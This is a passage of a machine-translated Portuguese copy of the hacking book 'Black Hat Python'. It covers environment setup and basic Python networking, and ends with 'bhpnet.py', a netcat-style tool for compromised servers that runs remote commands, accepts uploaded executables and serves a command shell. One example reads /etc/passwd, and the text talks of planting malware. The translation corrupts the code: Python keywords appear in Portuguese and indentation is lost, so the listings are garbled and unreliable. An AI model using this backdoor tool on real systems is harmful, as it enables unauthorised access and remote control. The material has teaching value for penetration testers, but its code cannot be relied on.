0% acharam este documento útil (2 votos)
1K visualizações193 páginas

Python 2

Enviado por

Lucas Salgado
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (2 votos)
1K visualizações193 páginas

Python 2

Enviado por

Lucas Salgado
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd

Machine Translated by Google

Machine Translated by Google

Black Hat Python: programação Python para


Hackers e Pentesters

Justin Seitz

Publicado por No Starch Press


Machine
pat
Translated by Google

Embora nunca tenhamos nos conhecido, sou eternamente grato por cada membro de sua família maravilhosa que você me deu.
Sociedade Canadense de Câncer www.cancer.ca
Machine Translated by Google
Sobre o autor
Justin Seitz é pesquisador sênior de segurança da Immunity, Inc., onde passa seu tempo caçando bugs,
fazendo engenharia reversa, escrevendo exploits e codificando Python. Ele é o autor de Gray Hat Python, o
primeiro livro a cobrir Python para análise de segurança.
Machine Translated by Google
Sobre os revisores técnicos
Dan Frisch tem mais de dez anos de experiência em segurança da informação. Atualmente, ele é analista sênior
de segurança em uma agência policial canadense. Antes dessa função, ele trabalhou como consultor fornecendo
avaliações de segurança para empresas financeiras e de tecnologia na América do Norte. Como ele é obcecado
por tecnologia e possui faixa preta de 3º grau, você pode supor (corretamente) que toda a sua vida é baseada em
Matrix.

Desde os primeiros dias do Commodore PET e VIC-20, a tecnologia tem sido uma companheira constante (e às
vezes uma obsessão!) Para Cliff Janzen. Cliff descobriu sua paixão profissional quando mudou para a segurança
da informação em 2008, após uma década de operações de TI. Nos últimos anos, Cliff trabalhou alegremente
como consultor de segurança, fazendo de tudo, desde revisão de políticas até testes de penetração, e ele se
sente sortudo por ter uma carreira que também é seu hobby favorito.
Machine Translated by Google
Prefácio
Python ainda é a linguagem dominante no mundo da segurança da informação, mesmo que a conversa sobre sua
linguagem de escolha às vezes pareça mais uma guerra religiosa. As ferramentas baseadas em Python incluem todos
os tipos de fuzzers, proxies e até mesmo exploits ocasionais. Estruturas de exploração como CANVAS são escritas
em Python, assim como ferramentas mais obscuras como PyEmu ou Sulley.

Quase todos os fuzzers ou exploits que escrevi foram em Python. Na verdade, a pesquisa de hacking automotivo
que Chris Valasek e eu realizamos recentemente continha uma biblioteca para injetar mensagens CAN em sua rede
automotiva usando Python!

Se você estiver interessado em mexer com tarefas de segurança da informação, o Python é uma ótima linguagem
para aprender devido ao grande número de bibliotecas de engenharia reversa e exploração disponíveis para seu uso.
Agora, se os desenvolvedores do Metasploit caíssem em si e mudassem de Ruby para Python, nossa comunidade
estaria unida.

Neste novo livro, Justin cobre uma ampla gama de tópicos que um jovem hacker empreendedor precisaria para
decolar. Ele inclui orientações sobre como ler e gravar pacotes de rede, como farejar a rede, bem como qualquer
coisa que você possa precisar para auditoria e ataque de aplicativos da web. Em seguida, ele passa um tempo
significativo se aprofundando em como escrever código para abordar detalhes específicos com sistemas Windows
de ataque. Em geral, Black Hat Python é uma leitura divertida e, embora possa não transformá-lo em um super
hacker como eu, certamente pode ajudá-lo a começar o caminho. Lembre-se, a diferença entre script kiddies e
profissionais é a diferença entre simplesmente usar as ferramentas de outras pessoas e escrever as suas próprias.

Charlie Miller

St. Louis, Missouri

setembro de 2014
Machine Translated by Google
Prefácio
hacker Python. Essas são duas palavras que você realmente poderia usar para me descrever. Na Immunity, tenho a sorte de
trabalhar com pessoas que realmente sabem codificar em Python. Eu não sou uma dessas pessoas. Passo grande parte do meu
tempo em testes de penetração, e isso requer um desenvolvimento rápido de ferramentas Python, com foco na execução e entrega
de resultados (não necessariamente em beleza, otimização ou mesmo estabilidade). Ao longo deste livro, você aprenderá que é
assim que eu codifico, mas também sinto que é parte do que me torna um pentester forte. Espero que essa filosofia e estilo ajude você
também.

À medida que avança no livro, você também perceberá que não me aprofundo em nenhum tópico. Isso ocorre por design. Quero
dar a você o mínimo, com um pouco de sabor, para que você tenha algum conhecimento básico. Com isso em mente, espalhei
ideias e tarefas de casa ao longo do livro para dar o pontapé inicial em sua própria direção. Eu o encorajo a explorar essas ideias
e adoraria ouvir suas próprias implementações, ferramentas ou trabalhos de casa que você fez.

Como acontece com qualquer livro técnico, os leitores com diferentes níveis de habilidade com Python (ou segurança da informação
em geral) terão uma experiência diferente com este livro. Alguns de vocês podem simplesmente pegá-lo e pegar os capítulos
pertinentes a um trabalho de consultoria em que você está, enquanto outros podem lê-lo de capa a capa. Eu recomendaria que, se
você é um programador iniciante ou intermediário em Python, comece no início do livro e leia-o direto na ordem. Você vai pegar alguns
bons blocos de construção ao longo do caminho.

Para começar, estabeleço alguns fundamentos de rede no Capítulo 2 e, lentamente, trabalho em soquetes brutos no Capítulo 3 e
uso o Scapy no Capítulo 4 para algumas ferramentas de rede mais interessantes.
A próxima seção do livro trata do hacking de aplicativos da Web, começando com suas próprias ferramentas personalizadas no
Capítulo 5 e, em seguida, estendendo o popular Burp Suite no Capítulo 6. A partir daí, passaremos muito tempo falando sobre
trojans, começando com o comando GitHub e controle no Capítulo 7, até o Capítulo 10 , onde abordaremos alguns truques de
escalonamento de privilégios do Windows. O capítulo final é sobre como usar a Volatilidade para automatizar algumas técnicas
forenses ofensivas de memória.

Eu tento manter os exemplos de código curtos e direto ao ponto, e o mesmo vale para as explicações. Se
você é relativamente novo em Python, eu o encorajo a perfurar cada linha para ativar a memória muscular de
codificação. Todos os exemplos de código-fonte deste livro estão disponíveis em http:// nostarch.com/
blackhatpython/.

Aqui vamos nós!


Machine Translated by Google
Agradecimentos
Gostaria de agradecer à minha família — minha linda esposa, Clare, e meus cinco filhos, Emily, Carter, Cohen,
Brady e Mason — por todo o encorajamento e tolerância enquanto passei um ano e meio da minha vida
escrevendo este livro. livro. Meus irmãos, irmã, mãe, pai e Paulette também me deram muita motivação para
continuar avançando, não importa o que aconteça. Eu amo todos vocês.

A todos os meus colegas da Immunity (eu listaria cada um de vocês aqui se eu tivesse espaço): obrigado por me
tolerar no dia-a-dia. Você é realmente uma equipe incrível para se trabalhar. À equipe da No Starch — Tyler, Bill,
Serena e Leigh — muito obrigado por todo o trabalho árduo que você dedicou a este livro e ao restante de sua
coleção. Todos nós apreciamos isso.

Também gostaria de agradecer aos meus revisores técnicos, Dan Frisch e Cliff Janzen. Esses caras digitaram e
criticaram cada linha de código, escreveram código de suporte, fizeram edições e forneceram suporte absolutamente
incrível durante todo o processo. Qualquer pessoa que esteja escrevendo um livro sobre segurança da informação
deve realmente incluir esses caras; eles foram incríveis e mais alguns.

Para o resto de vocês rufiões que compartilham bebidas, risadas e GChats: obrigado por me deixar mijar e reclamar
sobre escrever este livro.
Machine Translated by Google
Capítulo 1. Configurando seu
ambiente Python
Esta é a parte menos divertida — mas, ainda assim, crítica — do livro, onde percorremos a configuração
de um ambiente para escrever e testar o Python. Faremos um curso intensivo sobre como configurar uma
máquina virtual Kali Linux (VM) e instalar um bom IDE para que você tenha tudo o que precisa para
desenvolver código. No final deste capítulo, você deve estar pronto para enfrentar os exercícios e exemplos
de código no restante do livro.

Antes de começar, faça o download e instale o VMWare Player. [1] Também recomendo que você tenha
algumas VMs do Windows prontas, incluindo Windows XP e Windows 7, preferencialmente de 32 bits
em ambos os casos.
Machine Translated by Google
Instalando Kali Linux Kali é o
sucessor da distribuição BackTrack Linux, projetada pela Offensive Security desde o início como um sistema
operacional de teste de penetração. Ele vem com várias ferramentas pré-instaladas e é baseado no Debian
Linux, então você também poderá instalar uma ampla variedade de ferramentas e bibliotecas adicionais além
do que está no sistema operacional para iniciar.

Primeiro, pegue uma imagem Kali VM no seguinte URL: http:// images.of ensive-security.com/ kali
linux-1.0.9-vm-i486.7z. [2] Baixe e descompacte a imagem e, em seguida, clique duas vezes nela
para fazer o VMWare Player ativá-la. O nome de usuário padrão é root e a senha é toor. Isso deve levá-lo
ao ambiente de desktop Kali completo, conforme mostrado na Figura 1-1.

Figura 1-1. A área de trabalho do Kali Linux

A primeira coisa que faremos é garantir que a versão correta do Python esteja instalada. Este livro usará
o Python 2.7 em todo o livro. No shell (AplicativosÿAcessóriosÿTerminal), execute o seguinte:

root@kali:~# python --version Python


2.7.3 root@kali:~#

Se você baixou a imagem exata que recomendei acima, o Python 2.7 será instalado automaticamente.
Observe que o uso de uma versão diferente do Python pode quebrar alguns dos exemplos de código
deste livro. Você foi avisado.
Machine
Agora Translated
vamos by Google
adicionar algumas partes úteis do gerenciamento de pacotes Python na forma de easy_install e pip. Eles
são muito parecidos com o gerenciador de pacotes apt porque permitem que você instale diretamente as bibliotecas do
Python, sem precisar baixá-las, descompactá-las e instalá-las manualmente. Vamos instalar esses dois gerenciadores de
pacotes emitindo os seguintes comandos:

root@kali:~#: apt-get install python-setuptools python-pip

Quando os pacotes estiverem instalados, podemos fazer um teste rápido e instalar o módulo que usaremos no
Capítulo 7 para construir um trojan baseado no GitHub. Digite o seguinte em seu terminal:

root@kali:~#: pip install github3.py

Você deve ver a saída em seu terminal indicando que a biblioteca está sendo baixada e instalada.

Em seguida, entre em um shell Python e confirme se ele foi instalado corretamente:

root@kali:~#: python Python


2.7.3 (padrão, 14 de março de 2014, 11:57:14)
[GCC 4.7.2] no linux2 Digite
"ajuda", "copyright", "créditos" ou "licença" para obter mais informações. >>> import github3 >>>
exit()

Se seus resultados não forem idênticos a estes, então há uma “configuração incorreta” em seu ambiente Python e você
trouxe muita vergonha ao nosso Python dojo! Nesse caso, certifique-se de seguir todas as etapas acima e de ter a versão
correta do Kali.

Lembre-se de que, para a maioria dos exemplos ao longo deste livro, você pode desenvolver seu código em vários
ambientes, incluindo Mac, Linux e Windows. Existem alguns capítulos que são específicos do Windows, e farei questão de
informá-lo no início do capítulo.

Agora que temos nossa máquina virtual de hacking configurada, vamos instalar um Python IDE para desenvolvimento.
Machine Translated by Google
WingIDE Embora

eu normalmente não defenda produtos de software comercial, o WingIDE é o melhor IDE que usei nos últimos sete anos
na Immunity. O WingIDE fornece todas as funcionalidades básicas do IDE, como preenchimento automático e explicação
dos parâmetros da função, mas seus recursos de depuração são o que o diferencia de outros IDEs. Darei a você um rápido
resumo da versão comercial do WingIDE, mas é claro que [3] você deve escolher a versão que for melhor para você.

Você pode obter o WingIDE em http:// www.wingware.com/, e recomendo que você instale o trial para que possa
experimentar em primeira mão alguns dos recursos disponíveis na versão comercial.

Você pode fazer seu desenvolvimento em qualquer plataforma que desejar, mas talvez seja melhor instalar o WingIDE
em sua VM Kali pelo menos para começar. Se você seguiu minhas instruções até agora, certifique-se de baixar o
pacote .deb de 32 bits para WingIDE e salvá-lo em seu diretório de usuário. Em seguida, entre em um terminal e execute
o seguinte:

root@kali:~# dpkg -i wingide5_5.0.9-1_i386.deb

Isso deve instalar o WingIDE conforme planejado. Se você receber algum erro de instalação, pode haver
dependências não atendidas. Neste caso, basta executar:

root@kali:~# apt-get -f install

Isso deve corrigir quaisquer dependências ausentes e instalar o WingIDE. Para verificar se você o instalou
corretamente, verifique se você pode acessá-lo conforme mostrado na Figura 1-2.
Machine Translated by Google

Figura 1-2. Acessando o WingIDE a partir da área de trabalho do Kali

Inicie o WingIDE e abra um novo arquivo Python em branco. Em seguida, acompanhe enquanto dou a você um rápido resumo
de alguns recursos úteis. Para começar, sua tela deve se parecer com a Figura 1-3, com sua área principal de edição de código
no canto superior esquerdo e um conjunto de guias na parte inferior.
Machine Translated by Google

Figura 1-3. Layout da janela principal do WingIDE

Vamos escrever um código simples para ilustrar algumas das funções úteis do WingIDE, incluindo as guias
Debug Probe e Stack Data. Perfure o seguinte código no editor:
def sum(number_one,number_two):
number_one_int = convert_integer(number_one) number_two_int =
convert_integer(number_two)

resultado = number_one_int + number_two_int

resultado de retorno

def convert_integer(number_string):

inteiro_convertido = int(string_número) retorna


inteiro_convertido

resposta = soma("1","2")

Este é um exemplo muito artificial, mas é uma excelente demonstração de como tornar sua vida mais fácil com
o WingIDE. Salve-o com qualquer nome de arquivo desejado, clique no item de menu Debug e selecione a opção
Select Current as Main Debug File , conforme mostrado na Figura 1-4.
Machine Translated by Google

Figura 1-4. Configurando o script Python atual para depuração

Agora defina um ponto de interrupção na linha de código que diz:

retorna inteiro_convertido

Você pode fazer isso clicando na margem esquerda ou pressionando a tecla F9. Você deve ver um pequeno ponto vermelho
aparecer na margem. Agora execute o script pressionando F5 e a execução deve parar em seu ponto de interrupção.
Clique na guia Stack Data e você verá uma tela como a da Figura 1-5.

A guia Stack Data nos mostrará algumas informações úteis, como o estado de quaisquer variáveis locais e globais no
momento em que nosso ponto de interrupção foi atingido. Isso permite que você depure códigos mais avançados, onde você
precisa inspecionar variáveis durante a execução para rastrear bugs. Se você clicar na barra suspensa, também poderá ver a
pilha de chamadas atual, que informa qual função chamou a função em que você está atualmente. Dê uma olhada na Figura 1-6
para ver o rastreamento de pilha.
Machine Translated by Google

Figura 1-5. Visualizando dados da pilha após um hit de ponto de interrupção


Machine Translated by Google

Figura 1-6. Visualizando o rastreamento de pilha atual

Podemos ver que convert_integer foi chamado da função sum na linha 3 do nosso script Python.
Isso se torna muito útil se você tiver chamadas de função recursivas ou uma função que é chamada de muitos lugares
potenciais. Usar a guia Stack Data será muito útil em sua carreira de desenvolvimento em Python!

O próximo recurso importante é a guia Debug Probe. Essa guia permite que você entre em um shell Python que está
sendo executado no contexto atual do momento exato em que seu ponto de interrupção foi atingido. Isso permite que
você inspecione e modifique variáveis, bem como escreva pequenos trechos de código de teste para experimentar novas
ideias ou solucionar problemas. A Figura 1-7 demonstra como inspecionar a variável convert_integer e alterar seu valor.
Machine Translated by Google

Figura 1-7. Usando o Debug Probe para inspecionar e modificar variáveis locais

Depois de fazer algumas modificações, você pode retomar a execução do script pressionando F5.

Embora este seja um exemplo muito simples, ele demonstra alguns dos recursos mais úteis do WingIDE para desenvolver e depurar

scripts Python. [4]

Isso é tudo de que precisamos para começar a desenvolver o código para o restante deste livro. Não se esqueça
de preparar as máquinas virtuais como máquinas de destino para os capítulos específicos do Windows, mas é claro
que o uso de hardware nativo não deve apresentar problemas.

Agora vamos nos divertir de verdade!

[1] Você pode baixar o VMWare Player em http:// www.vmware.com/.

[2] Para obter uma lista “clicável” dos links neste capítulo, visite http:// nostarch.com/ blackhatpython/.

[3] Para uma comparação dos recursos entre as versões, visite https:// wingware.com/ wingide/ features/.

[4] Se você já usa um IDE com recursos comparáveis ao WingIDE, envie-me um e-mail ou um tweet porque eu adoraria
ouvir sobre isso!
Machine Translated by Google
Capítulo 2. A Rede: Noções Básicas
A rede é e sempre será a arena mais sexy para um hacker. Um invasor pode fazer quase tudo com acesso simples à
rede, como procurar hosts, injetar pacotes, farejar dados, explorar remotamente hosts e muito mais. Mas se você for
um invasor que trabalhou nas profundezas de um alvo corporativo, pode se deparar com um dilema: você não tem
ferramentas para executar ataques de rede. Sem netcat. Sem Wireshark. Nenhum compilador e nenhum meio para
instalar um. No entanto, você pode se surpreender ao descobrir que, em muitos casos, encontrará uma instalação do
Python e é por aí que começaremos.

Este capítulo fornecerá algumas noções básicas sobre rede Python usando o modo de soquete
[5], módulo.
construiremos
Ao longo do
clientes, servidores e um proxy TCP; e, em seguida, transformá-los em nosso próprio netcat, completo com shell de
comando. Este capítulo é a base para os capítulos subsequentes, nos quais criaremos uma ferramenta de descoberta
de host, implementaremos sniffers de plataforma cruzada e criaremos uma estrutura remota de trojan. Vamos começar.
Machine Translated by Google
Rede Python em um Parágrafo Os programadores têm
várias ferramentas de terceiros para criar servidores e clientes em rede em Python, mas o módulo central
para todas essas ferramentas é o soquete. Este módulo expõe todas as peças necessárias para escrever
rapidamente clientes e servidores TCP e UDP, usar soquetes brutos e assim por diante. Para fins de invasão
ou manutenção do acesso às máquinas de destino, este módulo é tudo o que você realmente precisa. Vamos
começar criando alguns clientes e servidores simples, os dois scripts de rede rápidos mais comuns que você esc
Machine Translated by Google
Cliente TCP
Houve inúmeras vezes durante os testes de penetração que precisei ativar um cliente TCP para testar serviços,
enviar dados de lixo, fuzz ou qualquer outra tarefa. Se você estiver trabalhando dentro dos limites de grandes
ambientes corporativos, não terá o luxo de ferramentas de rede ou compiladores e, às vezes, até mesmo perderá o
básico absoluto, como a capacidade de copiar/colar ou uma conexão com a Internet. É aqui que a capacidade de criar
rapidamente um cliente TCP é extremamente útil. Mas chega de tagarelice — vamos começar a codificar. Aqui está
um cliente TCP simples.
soquete de importação

target_host = "www.google.com" target_port


= 80

# cria um objeto socket ÿ client =


socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# conecta o cliente
ÿ client.connect((target_host,target_port))

# envie alguns dados


ÿ client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")

# recebe alguns dados ÿ


resposta = client.recv(4096)

imprimir resposta

Primeiro criamos um objeto socket com os parâmetros AF_INET e SOCK_STREAM ÿ. O parâmetro AF_INET
está dizendo que vamos usar um endereço IPv4 padrão ou nome de host, e SOCK_STREAM indica que este
será um cliente TCP. Em seguida, conectamos o cliente ao servidor ÿ e enviamos alguns dados ÿ. A última etapa é
receber alguns dados de volta e imprimir a resposta ÿ. Esta é a forma mais simples de um cliente TCP, mas a que
você escreverá com mais frequência.

No trecho de código acima, estamos fazendo algumas suposições sérias sobre soquetes das quais você definitivamente
deseja estar ciente. A primeira suposição é que nossa conexão sempre será bem-sucedida e a segunda é que o
servidor sempre espera que enviemos os dados primeiro (em oposição aos servidores que esperam enviar dados para
você primeiro e aguardam sua resposta). Nossa terceira suposição é que o servidor sempre nos enviará dados em
tempo hábil. Fazemos essas suposições em grande parte por uma questão de simplicidade. Embora os programadores
tenham opiniões variadas sobre como lidar com soquetes de bloqueio, manipulação de exceção em soquetes e coisas
do gênero, é bastante raro para pentesters incorporar essas sutilezas em ferramentas rápidas e sujas para trabalho de
reconhecimento ou exploração, então vamos omita-os neste capítulo.
Machine Translated by Google
Cliente UDP
Um cliente Python UDP não é muito diferente de um cliente TCP; precisamos fazer apenas duas pequenas alterações
para que ele envie pacotes no formato UDP.
soquete de importação

target_host = "127.0.0.1" target_port = 80

# cria um objeto socket ÿ client =


socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# envie alguns dados


ÿ client.sendto("AAABBBCCC",(target_host,target_port))

# recebe alguns dados


ÿ data, addr = client.recvfrom(4096)

imprimir dados

Como você pode ver, alteramos o tipo de soquete para SOCK_DGRAM ÿ ao criar o objeto de soquete. O próximo
passo é simplesmente chamar sendto() ÿ, passando os dados e o servidor para o qual você deseja enviar os dados.
Como o UDP é um protocolo sem conexão, não há nenhuma chamada para connect() de antemão. A última etapa é
chamar recvfrom() ÿ para receber dados UDP de volta. Você também notará que ele retorna os dados e os detalhes do
host remoto e da porta.

Novamente, não queremos ser programadores de rede superiores; queremos ser rápidos, fáceis e confiáveis o
suficiente para lidar com nossas tarefas diárias de hacking. Vamos passar para a criação de alguns simples
servidores.
Machine Translated by Google
Servidor TCP
Criar servidores TCP em Python é tão fácil quanto criar um cliente. Você pode querer usar seu próprio servidor
TCP ao escrever shells de comando ou criar um proxy (faremos ambos mais tarde). Vamos começar criando um
servidor TCP multiencadeado padrão. Desenvolva o código abaixo:
importação de thread
de importação de soquete

bind_ip = "0.0.0.0" bind_port =


9999

servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

ÿ server.bind((bind_ip,bind_port))

ÿ server.listen(5)

print "[*] Escutando em %s:%d" % (bind_ip,bind_port)

# este é o nosso tópico de atendimento ao cliente


ÿ def handle_client(client_socket):

# imprime o que o cliente envia request =


client_socket.recv(1024)

print "[*] Recebido: %s" % request

# envia de volta um pacote


client_socket.send("ACK!")

client_socket.close()

enquanto verdadeiro:

ÿ cliente,addr = servidor.accept()

print "[*] Conexão aceita de: %s:%d" % (addr[0],addr[1])

# gire nosso segmento de cliente para lidar com dados recebidos


client_handler = threading.Thread(target=handle_client,args=(client,))
ÿ client_handler.start()

Para começar, passamos o endereço IP e a porta que queremos que o servidor escute ÿ. Em seguida, dizemos
ao servidor para começar a escutar ÿ com um backlog máximo de conexões definido como 5. Em seguida,
colocamos o servidor em seu loop principal, onde aguarda uma conexão de entrada. Quando um cliente conecta
ÿ, recebemos o soquete do cliente na variável client e os detalhes da conexão remota na variável addr . Em
seguida, criamos um novo objeto de encadeamento que aponta para nossa função handle_client e passamos a ele o
objeto de soquete do cliente como um argumento. Em seguida, iniciamos o thread para lidar com a conexão do
cliente ÿ e nosso loop de servidor principal está pronto para lidar com outra conexão de entrada. A função
handle_client ÿ executa o recv() e então envia uma mensagem simples de volta para o cliente.

Se você usar o cliente TCP que construímos anteriormente, poderá enviar alguns pacotes de teste para o servidor
e deverá ver uma saída como a seguinte:
[*] Ouvindo em 0.0.0.0:9999 [*] Conexão
aceita de: 127.0.0.1:62512 [*] Recebido: ABCDEF

É isso! Bastante simples, mas este é um trecho de código muito útil que estenderemos nas próximas seções quando
construirmos um substituto do netcat e um proxy TCP.
Machine Translated by Google
Substituindo o Netcat O
Netcat é o canivete da rede, então não é nenhuma surpresa que os administradores de sistemas astutos o
removam de seus sistemas. Em mais de uma ocasião, encontrei servidores que não tinham o netcat instalado,
mas tinham o Python. Nesses casos, é útil criar um cliente e servidor de rede simples que você possa usar para
enviar arquivos ou ter um ouvinte que forneça acesso à linha de comando. Se você invadiu um aplicativo da
web, definitivamente vale a pena lançar um retorno de chamada do Python para fornecer acesso secundário
sem ter que primeiro gravar um de seus trojans ou backdoors. Criar uma ferramenta como essa também é um
ótimo exercício de Python, então vamos começar.

import sys
import socket
import getopt import
threading import
subprocess

# define algumas variáveis globais listen


= Falso
comando = Falso
Envio = Falso
executar = ""
= ""
alvo
""
upload_destino = porta = 0

Aqui, estamos apenas importando todas as nossas bibliotecas necessárias e definindo algumas variáveis globais.
Nenhum trabalho pesado ainda.

Agora vamos criar nossa função principal responsável por lidar com argumentos de linha de comando e chamar o restante
de nossas funções.

ÿ def using(): print


"BHP Net Tool" print print
"Uso: bhpnet.py -t target_host
-p port" print "-l --listen - escuta em [host]:[porta] para conexões de
entrada"

print "-e --execute=file_to_run - executa o arquivo fornecido ao receber uma conexão" -


inicializa um shell de comando"
print "-c --command print "-u
--upload=destination - ao receber a conexão carrega um arquivo e grava em [destino]"

print
print
print "Exemplos: " print
"bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1
-p 5555 -l -u=c:\\target.exe " print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0)

def main():
global escuta porta
global global
executa comando
global global
upload_destination alvo global

se não for len(sys.argv[1:]): using()

# leia as opções da linha de comando


Machine
ÿ Translated by Google
experimentar:

opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",


["help","listen","execute","target","port","command ","upload"]) exceto getopt.GetoptError como
err: print str(err) using()

for o,a in opts: if o in ("-


h","--help"): using() elif o in ("-l","--
listen"): listen = True

elif o in ("-e", "--execute"):


executar = um
elif o in ("-c", "--commandshell"):
comando = Verdadeiro
elif o in ("-u", "--upload"): upload_destination
= a elif o in ("-t", "--target"):

target = a elif o
in ("-p", "--port"): port = int(a)

outro:
assert False,"Opção não tratada"

# vamos ouvir ou apenas enviar dados do stdin?


ÿ se não ouvir e len(alvo) e porta > 0:

# leia o buffer da linha de comando # isso irá bloquear, então


envie CTRL-D se não estiver enviando a entrada # para stdin buffer = sys.stdin.read()

# enviar dados fora


cliente_remetente(buffer)

# vamos ouvir e potencialmente # fazer upload de coisas,


executar comandos e soltar um shell de volta # dependendo de nossas opções de linha
de comando acima, se ouvir:

ÿ server_loop()

a Principal()

Começamos lendo todas as opções de linha de comando ÿ e definindo as variáveis necessárias dependendo das
opções que detectamos. Se algum dos parâmetros da linha de comando não corresponder aos nossos critérios, imprimimos
informações de uso úteis ÿ. No próximo bloco de código ÿ, estamos tentando imitar o netcat para ler dados do stdin e enviá-
los pela rede. Conforme observado, se você planeja enviar dados de forma interativa, é necessário enviar um CTRL-D para
ignorar a leitura stdin. A parte final ÿ é onde detectamos que devemos configurar um soquete de escuta e processar outros
comandos (carregar um arquivo, executar um comando, iniciar um shell de comando).

Agora vamos começar a colocar o encanamento para alguns desses recursos, começando com nosso código de cliente.
Adicione o seguinte código acima da nossa função principal .

def cliente_remetente(buffer):

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

experimentar:

# conecte-se ao nosso host de destino


client.connect((target,port))
Machine
ÿ Translated by Google
if len(buffer):
cliente.send(buffer)
enquanto verdadeiro:

# agora aguarde os dados de


volta recv_len = 1
""
resposta =

ÿ enquanto recv_len:

dados = cliente.recv(4096)
recv_len = len(dados)
resposta+= dados

se recv_len < 4096: quebrar

resposta de impressão,

# espera por mais buffer de


ÿ entrada = raw_input("") buffer +=
"\n"

# envie
cliente.enviar(buffer)

exceto:

print "[*] Exceção! Saindo."

# derruba a conexão client.close()

A maior parte desse código deve parecer familiar para você agora. Começamos configurando nosso objeto de
soquete TCP e então testamos ÿ para ver se recebemos alguma entrada de stdin. Se tudo estiver bem, enviamos os
dados para o alvo remoto e recebemos de volta os dados ÿ até que não haja mais dados para receber. Em seguida,
esperamos mais informações do usuário ÿ e continuamos enviando e recebendo dados até que o usuário elimine o script.
A quebra de linha extra é anexada especificamente à nossa entrada do usuário para que nosso cliente seja
compatível com nosso shell de comando. Agora vamos seguir em frente e criar nosso loop de servidor principal e uma
função stub que manipulará nossa execução de comando e nosso shell de comando completo.

def server_loop(): alvo global

# se nenhum alvo for definido, escutamos em todas as interfaces, senão len(target):

alvo = "0.0.0.0"

servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((destino,porta))


server.listen(5)

enquanto verdadeiro:

client_socket, addr = server.accept()

# gere um thread para manipular nosso novo cliente client_thread =


threading.Thread(target=client_handler, args=(client_socket,)) client_thread.start()

def run_command(comando):

# corte a nova linha


command = command.rstrip()
Machine Translated by Google
# execute o comando e obtenha a saída de volta tente:

ÿ output = subprocess.check_output(comando,stderr=subprocess.
STDOUT, shell = Verdadeiro)
exceto:
output = "Falha ao executar o comando.\r\n"

# envia a saída de volta para a saída de retorno do cliente

Até agora, você é um veterano na criação de servidores TCP completos com threading, então não vou me aprofundar na
função server_loop . A função run_command , no entanto, contém uma nova biblioteca que ainda não abordamos: a biblioteca
de subprocessos . O subprocess fornece uma poderosa interface de criação de processo que fornece várias maneiras de iniciar
e interagir com programas clientes. Neste caso ÿ, estamos simplesmente executando qualquer comando que passarmos,
executando-o no sistema operacional local e retornando a saída do comando para o cliente que está conectado a nós. O código
de tratamento de exceção detectará erros genéricos e retornará uma mensagem informando que o comando falhou.

Agora vamos implementar a lógica para fazer uploads de arquivos, execução de comandos e nosso shell.

def client_handler(client_socket): upload global


comando global de execução global

# verifique se há upload
ÿ if len(upload_destination):

# lê todos os bytes e escreve em nosso destino file_buffer =


""

# continue lendo os dados até que nenhum esteja disponível


ÿ enquanto verdadeiro:

dados = client_socket.recv(1024)

se não dados:
pausa
outro:
arquivo_buffer += dados

# agora pegamos esses bytes e tentamos escrevê-los


ÿ experimentar:

file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer)


file_descriptor.close()

# confirma que gravamos o arquivo client_socket.send("Arquivo


salvo com sucesso em %s\r\n" % upload_destination)

exceto:
client_socket.send("Falha ao salvar arquivo em %s\r\n" % upload_destination)

# verifica a execução do comando if len(execute):

# execute o comando
output = run_command(execute)

client_socket.send(saída)

# agora vamos para outro loop se um shell de comando foi solicitado


Machine
ÿ Translated by Google
se comando:

enquanto verdadeiro:

# mostra um prompt simples


client_socket.send("<BHP:#> ")

# agora recebemos até ver um avanço de linha (tecla


enter) cmd_buffer = while "\n" não em cmd_buffer:
""

cmd_buffer += client_socket.recv(1024)

# envie de volta a resposta de saída do


comando = run_command(cmd_buffer)

# envie de volta a resposta


client_socket.send(response)

Nosso primeiro pedaço de código ÿ é responsável por determinar se nossa ferramenta de rede está configurada para receber
um arquivo ao receber uma conexão. Isso pode ser útil para exercícios de upload e execução ou para instalar malware e
fazer com que o malware remova nosso retorno de chamada do Python. Primeiro, recebemos os dados do arquivo em um
loop ÿ para garantir que recebemos tudo e, em seguida, simplesmente abrimos um identificador de arquivo e escrevemos o
conteúdo do arquivo. O sinalizador wb garante que estamos gravando o arquivo com o modo binário ativado, o que garante
que o upload e a gravação de um executável binário sejam bem-sucedidos. Em seguida, processamos nossa funcionalidade
de execução ÿ, que chama nossa função run_command escrita anteriormente e simplesmente envia o resultado de volta pela
rede. Nosso último trecho de código lida com nosso shell de comando ÿ; ele continua a executar comandos à medida que os
enviamos e envia de volta a saída. Você notará que ele está procurando um caractere de nova linha para determinar quando
processar um comando, o que o torna compatível com netcat.
No entanto, se você estiver invocando um cliente Python para falar com ele, lembre-se de adicionar o caractere
de nova linha.
Machine Translated by Google
Chutando os pneus Agora

